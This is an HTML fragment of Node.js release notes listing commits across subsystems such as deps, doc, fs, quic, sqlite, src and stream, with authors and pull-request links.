<li>[<a href="https://github.com/nodejs/node/commit/60787746c4"><code>60787746c4</code></a>] - <strong>deps</strong>: update zlib to 1.3.2.1-motley-3246f1b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63773/hovercard">#63773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/971af104f1"><code>971af104f1</code></a>] - <strong>deps</strong>: update amaro to 1.1.10 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63670" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63670/hovercard">#63670</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e17f665444"><code>e17f665444</code></a>] - <strong>deps</strong>: update googletest to 8736d2cd5c1dcba41170ed2fddca14021d4916c3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63669" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63669/hovercard">#63669</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7591949457"><code>7591949457</code></a>] - <strong>dgram</strong>: add synchronous Socket connectSync() (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63932" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63932/hovercard">#63932</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d75222d7cb"><code>d75222d7cb</code></a>] - <strong>dgram</strong>: add synchronous Socket.prototype.bindSync() (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63838" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63838/hovercard">#63838</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cf8342ae2"><code>0cf8342ae2</code></a>] - <strong>dns</strong>: coerce -0 to +0 in lookup and resolver inputs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e068299320"><code>e068299320</code></a>] - <strong>doc</strong>: update gcc toolchains to <code>gcc-13</code> and <code>g++-13</code> (Louie Llaneta) <a href="https://github.com/nodejs/node/pull/64018" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64018/hovercard">#64018</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65178bdcf3"><code>65178bdcf3</code></a>] - <strong>doc</strong>: add aduh95 to last security release steward (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63981" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63981/hovercard">#63981</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83eedfe85b"><code>83eedfe85b</code></a>] - <strong>doc</strong>: fix typo in util.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63961" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63961/hovercard">#63961</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54948c78e7"><code>54948c78e7</code></a>] - <strong>doc</strong>: clarify callback exceptions (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63939" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63939/hovercard">#63939</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/205d0a57f2"><code>205d0a57f2</code></a>] - <strong>doc</strong>: fix incorrect test runner mock examples (Kimaswa Emmanuel Yusufu) <a href="https://github.com/nodejs/node/pull/63656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63656/hovercard">#63656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44809b176c"><code>44809b176c</code></a>] - <strong>doc</strong>: clarify fromReadable() duck-typed contract (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63682" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63682/hovercard">#63682</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9cb15fcc85"><code>9cb15fcc85</code></a>] - <strong>doc</strong>: fix typo in cli.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63883/hovercard">#63883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/394d0bb928"><code>394d0bb928</code></a>] - <strong>doc</strong>: fix typo in vm.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63881/hovercard">#63881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59b7be8193"><code>59b7be8193</code></a>] - <strong>doc</strong>: fix typo in packages.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63882" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63882/hovercard">#63882</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/33c236cea9"><code>33c236cea9</code></a>] - <strong>doc</strong>: fix a/an article typos in module, util, and dns (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63766" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63766/hovercard">#63766</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30595da67b"><code>30595da67b</code></a>] - <strong>doc</strong>: update npm supported versions link (hojeong park) <a href="https://github.com/nodejs/node/pull/63672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63672/hovercard">#63672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5919ba7e97"><code>5919ba7e97</code></a>] - <strong>doc</strong>: fix AES-OCB IV length in SubtleCrypto.supports example (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63717/hovercard">#63717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/51cab5cb72"><code>51cab5cb72</code></a>] - <strong>doc</strong>: add webstreams to args for <code>pipeline</code> from <code>stream/promises</code> (David Sanders) <a href="https://github.com/nodejs/node/pull/63628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63628/hovercard">#63628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce85b2af88"><code>ce85b2af88</code></a>] - <strong>doc</strong>: fix "used to sent" → "used to send" in http2 (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63700" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63700/hovercard">#63700</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/298735e8df"><code>298735e8df</code></a>] - <strong>doc</strong>: mark Node.js 25 as End-of-Life (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63692" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63692/hovercard">#63692</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56948518b9"><code>56948518b9</code></a>] - <strong>doc</strong>: clarify tty raw mode applies to input processing only (Muhammad Zeeshan) <a href="https://github.com/nodejs/node/pull/63438" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63438/hovercard">#63438</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32ff731248"><code>32ff731248</code></a>] - <strong>doc</strong>: add worker_threads history entries (Bob Put) <a href="https://github.com/nodejs/node/pull/63545" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63545/hovercard">#63545</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cde0daabcc"><code>cde0daabcc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>doc</strong>: update <code>blockList</code> stability status to release candidate (alphaleadership) <a href="https://github.com/nodejs/node/pull/63050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63050/hovercard">#63050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d29483fc4f"><code>d29483fc4f</code></a>] - <strong>doc,crypto</strong>: mark argon2 and encap/decap as stable (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63924/hovercard">#63924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e668331d9"><code>6e668331d9</code></a>] - <strong>events</strong>: improve <code>addAbortListener</code> perf by caching options object (Raz Luvaton) <a href="https://github.com/nodejs/node/pull/52367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/52367/hovercard">#52367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/97aafe2519"><code>97aafe2519</code></a>] - <strong>ffi</strong>: add fast support for almost all other platforms (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63941/hovercard">#63941</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f52cf5eeaa"><code>f52cf5eeaa</code></a>] - <strong>ffi</strong>: add experimental fast FFI call API for AArch64 and x86_64 (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/63068" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63068/hovercard">#63068</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9461fee05"><code>d9461fee05</code></a>] - <strong>ffi</strong>: port semi-colon fix for riscv64 (and others) (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/63794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63794/hovercard">#63794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c8402e0a8"><code>4c8402e0a8</code></a>] - <strong>fs</strong>: do not treat EPERM as ENOTEMPTY on Windows (Kirill Saied) <a href="https://github.com/nodejs/node/pull/63709" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63709/hovercard">#63709</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b78f5a7537"><code>b78f5a7537</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: support caller-supplied readFile() buffers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63634/hovercard">#63634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d0097d489"><code>3d0097d489</code></a>] - <strong>fs</strong>: prevent spurious recursive watch events on prefix siblings (Marco) <a href="https://github.com/nodejs/node/pull/63095" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63095/hovercard">#63095</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/14d829cb3c"><code>14d829cb3c</code></a>] - <strong>fs</strong>: ignore deleted dirs in recursive watch scan (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63686" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63686/hovercard">#63686</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ceba08a1ea"><code>ceba08a1ea</code></a>] - <strong>fs</strong>: coerce -0 to +0 in mode flags and watch intervals (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6577d3b282"><code>6577d3b282</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/417aacbc36"><code>417aacbc36</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: close pre-request sockets in closeIdleConnections (semimikoh) <a href="https://github.com/nodejs/node/pull/63470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63470/hovercard">#63470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7fd13a59a"><code>b7fd13a59a</code></a>] - <strong>http2</strong>: retain header memory in session accounting (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63752" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63752/hovercard">#63752</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e611ccd167"><code>e611ccd167</code></a>] - <strong>inspector</strong>: fix inspector.close() documented behavior (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63837" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63837/hovercard">#63837</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a44f51eef3"><code>a44f51eef3</code></a>] - <strong>lib</strong>: fix missing lazyDOMException import (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64033" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64033/hovercard">#64033</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27cc4ec598"><code>27cc4ec598</code></a>] - <strong>lib</strong>: add lint rule to enforce use of <code>kEmptyObject</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63790" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63790/hovercard">#63790</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ee31b0bf4"><code>7ee31b0bf4</code></a>] - <strong>lib</strong>: improve control abstraction coverage in frozen intrinsics (Renegade334) <a href="https://github.com/nodejs/node/pull/63698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63698/hovercard">#63698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/078457839a"><code>078457839a</code></a>] - <strong>lib</strong>: add Iterator global to primordials (Renegade334) <a href="https://github.com/nodejs/node/pull/63698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63698/hovercard">#63698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58837dc4dd"><code>58837dc4dd</code></a>] - <strong>lib</strong>: remove source map deadcode in type stripping (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63738" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63738/hovercard">#63738</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e7513a8b9e"><code>e7513a8b9e</code></a>] - <strong>lib</strong>: make <code>Navigator#language</code> getter throw on invalid <code>this</code> (Mohamed Sayed) <a href="https://github.com/nodejs/node/pull/63601" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63601/hovercard">#63601</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbb108be7d"><code>fbb108be7d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>loader</strong>: implement package maps (Maël Nison) <a href="https://github.com/nodejs/node/pull/62239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62239/hovercard">#62239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea0b8e1dc2"><code>ea0b8e1dc2</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.35.3 to 4.36.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63724" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63724/hovercard">#63724</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac90719532"><code>ac90719532</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.4 to 5.0.5 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62847" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62847/hovercard">#62847</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed3de3062"><code>3ed3de3062</code></a>] - <strong>meta</strong>: bump actions/checkout from 6.0.2 to 6.0.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63726" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63726/hovercard">#63726</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d08d57bf70"><code>d08d57bf70</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 6.0.0 to 6.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63725" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63725/hovercard">#63725</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e748d192cf"><code>e748d192cf</code></a>] - <strong>meta</strong>: bump cachix/cachix-action (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63729/hovercard">#63729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10554eb131"><code>10554eb131</code></a>] - <strong>meta</strong>: bump actions/stale from 10.2.0 to 10.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63728" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63728/hovercard">#63728</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/791885f2af"><code>791885f2af</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.19.0 to 2.19.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63727/hovercard">#63727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32d9a407d9"><code>32d9a407d9</code></a>] - <strong>meta</strong>: bump cachix/install-nix-action from 31.10.5 to 31.10.6 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63723" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63723/hovercard">#63723</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b97c7bed07"><code>b97c7bed07</code></a>] - <strong>module</strong>: enable existing machinery for deferred import of static modules (Maya Lekova) <a href="https://github.com/nodejs/node/pull/63712" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63712/hovercard">#63712</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4becad2117"><code>4becad2117</code></a>] - <strong>module</strong>: use file: URL as sourceURL for type-stripped CommonJS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63705" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63705/hovercard">#63705</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c71c85b95f"><code>c71c85b95f</code></a>] - <strong>net</strong>: early TCP binding via synchronous net.BoundSocket (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63951" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63951/hovercard">#63951</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45494d5a8a"><code>45494d5a8a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: support TCP_KEEPINTVL and TCP_KEEPCNT in setKeepAlive (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63825" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63825/hovercard">#63825</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3988efa1f3"><code>3988efa1f3</code></a>] - <strong>net</strong>: coerce -0 to +0 in BlockList prefixes (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/484efd1c44"><code>484efd1c44</code></a>] - <strong>quic</strong>: fix get_reader bug that dropped data on FIN (Tim Perry) <a href="https://github.com/nodejs/node/pull/63946" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63946/hovercard">#63946</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04a17fe6f0"><code>04a17fe6f0</code></a>] - <strong>quic</strong>: expose QUIC certificates as JS X509Certificate, not raw handles (Tim Perry) <a href="https://github.com/nodejs/node/pull/63191" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63191/hovercard">#63191</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b62d5696dc"><code>b62d5696dc</code></a>] - <strong>quic</strong>: fix reader backpressure deadlock on idle connections (Tim Perry) <a href="https://github.com/nodejs/node/pull/63950" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63950/hovercard">#63950</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f1c8d7453"><code>3f1c8d7453</code></a>] - <strong>quic</strong>: fix broken listEndpoints export, test callbacks &amp; nghttp3 include (Tim Perry) <a href="https://github.com/nodejs/node/pull/63874" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63874/hovercard">#63874</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8538b9deb"><code>d8538b9deb</code></a>] - <strong>quic</strong>: impl. cb for http/3 settings/app. options (Marten Richter) <a href="https://github.com/nodejs/node/pull/63558" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63558/hovercard">#63558</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/643b19716e"><code>643b19716e</code></a>] - <strong>quic</strong>: add listEndpoints API (James M Snell) <a href="https://github.com/nodejs/node/pull/63536" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63536/hovercard">#63536</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2bce35bea4"><code>2bce35bea4</code></a>] - <strong>sqlite</strong>: do not leave database open after failed open (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63854" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63854/hovercard">#63854</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/394af52abb"><code>394af52abb</code></a>] - <strong>sqlite</strong>: fix stack-use-after-scope with function callback (ndossche) <a href="https://github.com/nodejs/node/pull/63640" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63640/hovercard">#63640</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10f03e5958"><code>10f03e5958</code></a>] - <strong>src</strong>: omit unconvertible names in cjs_lexer::Parse (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63943" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63943/hovercard">#63943</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1723773d41"><code>1723773d41</code></a>] - <strong>src</strong>: keep global list of addon-provided cleanup hooks (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63985" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63985/hovercard">#63985</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef12e9ea44"><code>ef12e9ea44</code></a>] - <strong>src</strong>: guard OpenSSL compression header include (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64009" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64009/hovercard">#64009</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48af8a6d8d"><code>48af8a6d8d</code></a>] - <strong>src</strong>: handle empty MaybeLocal in cjs_lexer::Parse (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63885/hovercard">#63885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a672ee9e8"><code>2a672ee9e8</code></a>] - <strong>src</strong>: fast path empty native immediate drain (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62969" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62969/hovercard">#62969</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db6a31d1a1"><code>db6a31d1a1</code></a>] - <strong>src</strong>: do not track weak <code>BaseObject</code>s as childrens of <code>Realm</code>s (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63842/hovercard">#63842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5fb837ff46"><code>5fb837ff46</code></a>] - <strong>src</strong>: allow tracking children in <code>MemoryTracker</code> with weak edges (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63842/hovercard">#63842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d22d373a9"><code>6d22d373a9</code></a>] - <strong>src</strong>: use C++14 deprecated attribute for <code>NODE_DEPRECATED</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63755" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63755/hovercard">#63755</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ac3fe1992"><code>7ac3fe1992</code></a>] - <strong>src</strong>: add cleanup hooks to <code>node::ObjectWrap</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63642" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63642/hovercard">#63642</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d82d369155"><code>d82d369155</code></a>] - <strong>src</strong>: fix edge case when deflateInit2() fails with Z_VERSION_ERROR (Nora Dossche) <a href="https://github.com/nodejs/node/pull/63476" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63476/hovercard">#63476</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/03858d152b"><code>03858d152b</code></a>] - <strong>src</strong>: remove redundant <code>handle_</code> field in ffi (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63665" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63665/hovercard">#63665</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1682264f6b"><code>1682264f6b</code></a>] - <strong>src</strong>: add Latin1 fast path in StringBytes::Encode utf8 (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63385" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63385/hovercard">#63385</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc29696acf"><code>cc29696acf</code></a>] - <strong>stream</strong>: fix Writable.toWeb() desiredSize for non-object-mode (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62986/hovercard">#62986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9967a25b2"><code>d9967a25b2</code></a>] - <strong>stream</strong>: handle falsy push writer fail reasons (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63569" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63569/hovercard">#63569</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b53f8f75c9"><code>b53f8f75c9</code></a>] - <strong>stream</strong>: reduce allocations on WHATWG streams hot paths (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63876/hovercard">#63876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/315ca426d8"><code>315ca426d8</code></a>] - <strong>stream</strong>: handle setEncoding after buffered data (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63973" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63973/hovercard">#63973</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06413cd6bd"><code>06413cd6bd</code></a>] - <strong>stream</strong>: fix Utf8Stream stall after full write of multi-byte data (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63964" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63964/hovercard">#63964</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a9f9a3dafa"><code>a9f9a3dafa</code></a>] - <strong>stream</strong>: keep overlapping broadcast reads pending (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63500" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63500/hovercard">#63500</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/009cca11bd"><code>009cca11bd</code></a>] - <strong>stream</strong>: refine the stream/iter backpressure (James M Snell) <a href="https://github.com/nodejs/node/pull/63697" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63697/hovercard">#63697</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f81dcfc99"><code>3f81dcfc99</code></a>] - <strong>stream</strong>: only pass the expected number of parameters to callbacks (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63909" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63909/hovercard">#63909</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a83b5d1fe"><code>9a83b5d1fe</code></a>] - <strong>stream</strong>: fix dropped first chunk in Utf8Stream buffer mode (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63833/hovercard">#63833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bdf5adea9"><code>0bdf5adea9</code></a>] - <strong>stream</strong>: remove transform-writer handling in pipeTo (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63684" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63684/hovercard">#63684</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10272a94b6"><code>10272a94b6</code></a>] - <strong>stream</strong>: check done before backpressure in stream reader (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63699/hovercard">#63699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/792c410631"><code>792c410631</code></a>] - <strong>stream</strong>: fix pipeToSync byte accounting (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63564" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63564/hovercard">#63564</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3cfafbc54b"><code>3cfafbc54b</code></a>] - <strong>stream</strong>: reject pull() reads on abort (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63498" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63498/hovercard">#63498</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/640a8cede5"><code>640a8cede5</code></a>] - <strong>stream</strong>: fast-path stateless transform flush results (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63605" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63605/hovercard">#63605</a></li>
